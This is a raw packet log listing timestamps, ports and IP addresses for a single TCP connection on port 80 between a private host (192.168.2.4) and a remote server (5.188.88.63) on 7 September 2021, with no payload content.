Sep 7, 2021 16:03:06.983618021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983649969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983674049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983676910 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983681917 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983702898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983731985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983761072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983772039 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983777046 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983792067 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983828068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983859062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983887911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983901024 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983905077 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983918905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983949900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983979940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984011889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984020948 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984025955 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984040976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984075069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984107971 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984136105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984141111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984146118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984165907 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984196901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984209061 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984226942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984256983 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984287977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984323025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984330893 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984338999 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984358072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984389067 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984402895 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984419107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984450102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984478951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984508991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984519958 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984528065 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984539986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984575033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984606981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984636068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984646082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984652042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984667063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984699011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984728098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984759092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984771013 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984776020 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984790087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984823942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984894037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984930038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984935045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984939098 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.984962940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.984994888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985023975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985054970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985081911 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985086918 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985104084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985163927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985200882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985230923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985244989 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985250950 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985260963 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985290051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985321999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985352039 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985366106 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985371113 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985383034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985413074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985447884 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985480070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985491037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985496044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985508919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985538960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985585928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985618114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985630035 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985634089 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985649109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985677958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985713005 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985734940 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985743999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985765934 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985774040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985804081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985836029 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985858917 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985867023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985897064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985927105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985943079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985949039 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.985960960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.985994101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986025095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986056089 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986066103 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.986073017 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.986087084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986148119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986181974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986191988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.986242056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986274958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986294031 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.986321926 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.986332893 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986367941 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986397028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.986649990 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.987920046 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.059185028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059241056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059278965 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059318066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059351921 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059384108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059417009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059451103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059484959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059518099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059550047 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059566021 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.059587955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059623003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059654951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059690952 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.059696913 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.059925079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.059964895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060066938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060102940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060115099 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060127020 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060137987 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060175896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060209990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060241938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060256958 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060261011 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060276031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060308933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060347080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060383081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060386896 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060391903 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060416937 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060451031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060483932 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060518026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060518026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060522079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060549974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060580969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060626984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060647964 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060659885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060683966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060707092 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060715914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060741901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060755968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060765028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060781002 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060789108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060811996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060833931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060858011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060879946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060905933 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060909033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060913086 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060915947 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060935020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060957909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.060980082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.060981035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.061005116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.061317921 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135514021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135549068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135572910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135605097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135647058 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135651112 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135667086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135669947 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135693073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135713100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135732889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135757923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135765076 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135770082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135790110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135818958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135837078 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135840893 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135843992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135869026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135895014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135919094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135945082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135945082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135948896 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.135967970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.135998964 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136027098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136049032 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136050940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136053085 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136075974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136101007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136125088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136147976 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136149883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136152029 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136174917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136205912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136234999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136254072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136276007 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136280060 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136281013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136305094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136336088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136356115 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136359930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136363983 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136389017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136414051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136440039 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136462927 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136464119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136466980 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136490107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136516094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136547089 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136563063 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136567116 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136574984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136599064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136624098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136647940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136672020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136673927 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136684895 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136693001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136722088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136746883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136771917 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136771917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136776924 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136795998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136821985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136847019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136876106 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136878014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136879921 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136905909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136930943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136955976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.136974096 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136977911 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.136980057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137003899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137027979 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137052059 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137069941 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137074947 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137084007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137110949 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137135029 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137160063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137178898 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137183905 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137185097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137208939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137233973 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137258053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137271881 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137275934 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137289047 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137316942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137341976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137367010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137382984 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137387037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137391090 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137415886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137440920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137454987 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137465954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137499094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137535095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137547016 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137551069 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137568951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137594938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137633085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137664080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137676001 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137690067 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137733936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137765884 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137801886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137834072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137867928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137872934 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137882948 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.137923002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137964010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.137989998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.138025045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.138056993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.138070107 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.138079882 CEST	49772	80	192.168.2.4	5.188.88.63
